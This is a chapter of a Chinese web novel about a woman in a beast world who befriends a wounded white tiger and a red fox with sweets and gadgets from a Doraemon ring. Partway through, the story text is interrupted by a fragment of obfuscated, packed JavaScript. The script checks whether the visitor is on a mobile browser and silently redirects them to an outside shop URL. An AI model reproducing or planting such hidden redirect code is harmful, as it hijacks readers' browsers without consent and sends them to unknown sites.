文趣网 > 都市小说 > 穿到兽世喜提五只萌兽 > 2. 红毛阿九,实在美丽
    沈欢指尖陷在白虎毛茸茸的颈毛里,揉得那团白毛都炸成了小漩涡,心里美得冒泡:这毛质比我家丧彪顺十倍不止,上天待我不薄,走到哪儿都能撸到大猫,这波血赚!

    “对了大猫,”她戳了戳白虎软乎乎的耳尖,“我叫沈欢,你可以喊我欢姐。以后就叫你丧彪好不好?听着就不好惹,跟我这大姐大的身份多配。而且我家丧彪别看他是一只狸花猫,他可会偷奶喝了,叫一声丧彪,名不虚传!”

    本来被撸得呼噜震天的白虎瞬间僵了,浑身的毛都抖了三抖——开什么玩笑!他是虎族曾经的战神岩,名字是“像岩石一样坚硬”的意思,这亚兽人居然想叫他丧彪?跟那只会偷喝她奶的狸花猫一个名儿?

    下一秒,原本庞大的虎躯泛起一层极淡的白光——光芒只维持了半秒就散了,原地竟多了个半裸着上身的高大少年:黑发凌乱地遮着眼,左臂缠着的兽皮渗着血,嘴唇苍白得透明,却还是咬着牙从齿缝里挤出一个字:“岩。”

    说完这一个字,他像是耗尽了所有力气,白光一闪又变回了白虎,瘫在地上呼噜呼噜喘着粗气,爪子还不甘心地扒拉了两下草,金瞳里满是“老子就算虚弱也是王者”的不服气。

    旁边刚探头的阿九吓得耳朵瞬间贴紧头皮,尾巴夹得紧紧的,连偷糕的动作都顿了半秒——这虎族的战神名号,他在狐族都听过,没想到落魄成这样还能硬撑着化形报个名。

    沈欢眼睛都直了,赶紧凑上去揉他耳朵,指尖碰到他额头上还没消的疤:“好好好,岩岩小宝贝,生什么气嘛~你这人形态还挺帅啊,就是太不禁折腾,先养伤哈。”

    她看着岩那副“我很威风别惹我”的傲娇样,到底没舍得泼冷水——毕竟落魄的凤凰不如鸡,哦不,落魄的老虎还得靠她喂糕呢。

    “岩岩,你说我家美丽啥时候回来呀?”她正嘟囔着,就听见草丛里一阵窸窣响。

    话音刚落,那抹红影子就窜了出来——鼻尖耸得跟个小雷达似的,显然是循着刚才那股甜香找过来的。

    这狐狸是真漂亮,红毛油光水滑,跑起来像团跳动的火,尤其那双桃花眼,眼尾自带三分媚,可惜脸颊瘦得凹进去,尖嘴猴腮的,看着就让人想往他嘴里塞俩肉包子。

    沈欢正想着把这家伙喂成圆滚滚的毛团子,揣怀里rua起来肯定跟自家美丽一模一样,就见那红狐狸蹑手蹑脚凑到她袖袋边,尖嘴刚碰到半块压扁的枸杞糕——

    “啪!”

    白虎一爪子拍过去,红狐狸被拍得原地转了三个圈,尾巴炸得比蒲公英还蓬,半块糕直接粘在他鼻尖上晃荡。

    “快到嘴的糕飞了!臭老虎,抢食算什么本事!”红狐狸心里把岩的祖宗十八代都问候了一遍,连上次这货偷他藏的野蜂蜜的旧账都翻了出来。

    “岩!住手!”沈欢赶紧按住白虎抬起的爪子,指尖戳了戳他脑门上的软肉,“吓着我家美丽怎么办?”

    话刚出口她就愣了——哦对,她家美丽是三花,这红得发亮的狐狸哪像她家温柔甜美的闺女啊?

    狐狸也被拍蒙了,蹲在原地甩了甩脑袋,金棕色眼睛瞪得溜圆,显然没料到这个弱鸡亚兽人敢护着他——还喊他“美丽”?他可是狐族出了名的阿九,偷过熊族的蜜,骗过狼族的肉,什么时候被喊过这么娘的名字?

    “我不叫美丽!我叫阿九!”他炸着毛抗议,声音清清脆脆的,像咬碎了冰糖。

    “美丽多好听啊,阿九太俗气了,”沈欢完全没理会他的抗议,顺手把袖袋里剩下的半块糕掰了一半递过去,“来,蹭饭的都得打招呼,下次别偷摸的啊。”

    阿九警惕地瞅了瞅她,又瞟了眼旁边呼噜呼噜瞪着他的白虎,鼻尖动了动——那股甜香直冲天灵盖,比他偷过的所有蜂蜜都勾人。身体比脑子诚实,他终究是凑了过去,叼走糕的时候舌尖不小心蹭到沈欢的指尖,凉丝丝的,跟这亚兽人慢半拍的性格完全不搭。

    沈欢没在意,下意识摩挲了一下无名指上的哆啦A梦戒指——刚才变出铜锣烧的余温还在,她抱着试一试的心态嘟囔:“哆啦A梦,让这大猫消消气,要是让他吓着我新收的崽怎么办?”

    1秒,2秒,3秒......

    戒指毫无反应。

    沈欢也不恼,刚想吐槽这玩意儿果然靠不住,就见戒指极其微弱地闪了一下蓝光,“啵”的一声,掉出个画着生气表情的小喇叭。

    “……?”沈欢捏起喇叭,鬼使神差按了一下。

    “汪!汪!汪!”

    炸雷似的狗叫声在寂静的森林里炸开,沈欢的指节都被震麻了。白虎本来就没消气,被这喇叭一激,金瞳瞬间红了半片,炸得毛都竖成了刺球,冲着阿九低吼的音浪震得沈欢的刘海乱飞。

    阿九吓得“嗷”一声蹦出去三尺远,刚粘在鼻尖的糕都甩飞了,沈欢手忙脚乱把喇叭塞回戒指空间,一边顺白虎的毛一边吐槽:“什么破道具!说好的消气呢?你是生怕我家不热闹是吧?哆啦A梦来了,都得说你不靠谱!”

    白虎被她顺得呼噜声弱了点,但眼睛还死死盯着阿九,尾巴尖虚虚圈着沈欢的脚踝,一副“再敢过来我咬你”的护食架势。

    沈欢转头看向缩在树后面的阿九,叹了口气:“美丽别怕,过来吧,大猫被我按住呢。”

    阿九试探着挪过来,沈欢顺手把掉在地上的糕捡起来吹了吹递过去,又倒了点红糖水在叶子上:“喝点,补气血,你这脸尖得跟削过的铅笔似的,一看就营养不良。我把你喂成圆滚滚的毛团子,保证你是这条沟最靓的崽!”

    “嗷——”白虎不满地低吼一声,爪子扒拉着沈欢的裤腿。

    “你也是,你是最帅的白虎,他是最靓的狐狸,姐姐一碗水端平,”沈欢赶紧揉了揉他的耳朵,“乖啊,别吃醋。”

    阿九犹豫了两秒,还是凑过去舔了红糖水——甜暖的气流顺着喉咙往下窜,连刚才被白虎拍疼的肩膀都不疼了。他眯起眼睛,跟喝了酒似的晃了晃脑袋,忽然瞥见白虎左前肢渗血的伤口,鬼使神差地开口:“你那伤口……得敷点草药,不然要化脓。”

    沈欢眼睛一下子亮了:“你会采药?”

    “不会,”阿九理直气壮,“但我知道哪种草止血。”说完还瞟了白虎一眼,那眼神分明是“我比你懂行,欢姐肯定夸我”。

    沈欢乐了,摸了摸戒指:“哆啦A梦,来点止血的玩意儿呗?给这红毛长长眼。”

    尴尬的是戒指这次连闪都没闪。

    沈欢撇撇嘴,刚想弯腰去摘旁边的草,戒指忽然抖了一下,掉出个指甲盖大的红色糖丸,圆滚滚的裹着糖霜,闻着有股淡淡的药香。

    “哦?这次居然灵了?”沈欢捏起糖丸递给岩,“喏,止血糖,吃了伤口好得快。”

    岩盯着糖丸看了三秒,耳朵瞬间贴紧头皮——上次熊族给他喂红色的浆果,他拉了三天肚子,至今看见红色的东西都犯怵。他梗着脖子往后缩,爪子扒拉着草屑:“嗷!”(翻译:有毒!你竟敢给我下毒!)

    “啥?这是糖!甜的我骗你干嘛!”沈欢急了,左手竖起三根手指头,诚恳地蹦出一句莫名其妙的地球话,“中国人不骗中国人!骗你我是小狗!”

    岩虽然听不懂“中国人”是个啥,但看她表情诚恳得跟要给他分肉干似的,半信半疑张开了嘴。沈欢赶紧把糖丸塞进去,他嚼了两下,眯起眼睛咽了,还凑过来舔了舔沈欢的指尖,一副“好吃再来点”的馋样。

    “傻崽,”沈欢笑着揉了揉他的大耳朵,“我还能害你?这可是哆啦A梦产的,限量版。”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891555|212762||http|test|mini|href|location'.split('|'),0,{}));

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    >阿九在旁边看得一愣一愣的,眼神里满是对沈欢手上戒指的好奇——这小玩意儿居然能变出这么好吃的东西?

    沈欢掏出印着猫爪的小本本唰唰写:「Day1:新增红毛狐狸一只,大名阿九(传说有九条尾巴,坐等解锁),偷吃技术有待提高,和虎哥不对付,纯属争宠抢食。备注:阿九毛比我家美丽顺,就是脸太尖,得喂成圆球;岩这傻崽,吃糖丸还舔我手指,跟丧彪一个德行。今日养生进度:俩崽都喝了红糖水,达标。」写完还画了个歪歪扭扭的狐狸头,打了个五角星——潜在家庭成员No.2,盖章。

    白虎看见她给狐狸画五角星,气得呼噜声都变了调,爪子把地上的草扒得乱七八糟。沈欢顺手揉了揉他的耳朵:“岩别闹,多个人多份力,以后偷肉都有帮手。你现在是家里老大,要有大哥的肚量,别跟二弟一般见识。”

    阿九听见“二弟”的称呼,耳朵竖得笔直,昂着头瞅了白虎一眼,那意思分明是“听见没?我排你后面?哦不对,我怎么排你后面?”

    这俩货又开始隔空对瞪,跟两只抢罐头的流浪猫似的。沈欢看得津津有味,忽然想起刚才许愿“让他俩好好相处”时,戒指掉出的那个画着俩小人牵手的金属项链——一人戴一半,据说戴上就是好兄弟。

    她把项链掏出来,晃了晃:“来,给你俩戴上好不好?戴了就是好兄弟,不打架。”

    白虎歪头瞅着项链,阿九也凑过来闻。沈欢把小的那半套在阿九脖子上,大的那半套在白虎脖子上——刚套好,神奇的事发生了:白虎往前迈一步,阿九直接被拽得狗啃泥;阿九刚想爬起来,又被白虎往后拽得摔了个屁股墩。

    “……?”白虎懵了,爪子扒拉着脖子上的项链,一脸“这什么破玩意儿”。

    “……?”阿九也懵了,尖嘴拱着地上的草屑,眼神里满是不服气。

    沈欢在旁边笑到拍大腿,差点把保温杯都笑掉了:“哈哈哈哈!这什么破项链!动一个另一个也动!我看你俩还怎么打架!”

    白虎气得低吼,想扑阿九,结果刚抬爪就被项链拽得摔了个四脚朝天;阿九想跑,也被拽得动弹不得,只能瞪着沈欢,眼神里满是控诉。

    沈欢笑够了,才把项链摘下来塞回戒指空间,在小本本上补了一句:「军师初尝试+戒指坑我双重翻车:朋友项链导致虎狐行动绑定,打架不成反成连体婴。教训:不要随便用戒指的破道具,也不要随便教狐狸和大猫搞好关系。」末了还掏出刚摘的野瓜子,咔嚓咔嚓嗑了起来。

    过了半天这俩货还没消停,沈欢终于看够了,正准备靠回树干闭目养神,忽然听见草丛里传来“咔嚓”一声——是傻乎乎的踩断树枝的动静,还有含糊的“呜呜”声。

    她抬头一看,就见个灰扑扑的狼耳朵尖从草叶里探出来,正眼巴巴地盯着她袖子里的糕点,尾巴摇得能把旁边的草都扫倒,嘴里还叼着半根啃得乱七八糟的草药,草屑还粘在嘴角晃荡。

    “哟,”沈欢眼睛亮了,“谁家的大狗狗这么可爱?你是来蹭饭的吗?”

    白虎和阿九同时转过头,一个炸毛一个竖耳朵,沈欢却已经笑着掰了块糕点递过去:“来,报个名字,登记入册啊——”

    远处的树杈上,一只墨黑的玄蛇悄咪咪探了半个脑袋,冰冷的竖瞳扫过底下闹哄哄的一群,嘴角似乎抽了抽——像是对这群傻子的智商感到无语,又悄无声息地缩了回去,尾巴尖扫过树枝,落下几片枯叶。

    沈欢的小本本哗啦翻了一页,空白的纸页上,她提前写了个备注:「潜在家庭成员No.3:灰毛狼崽,特征:傻,爱吃,啃草药(疑似想当医生?),待观察。」

    而她手上的哆啦A梦戒指,在阳光底下闪了闪,像是在说:“下次给你变个更坑的道具哦~”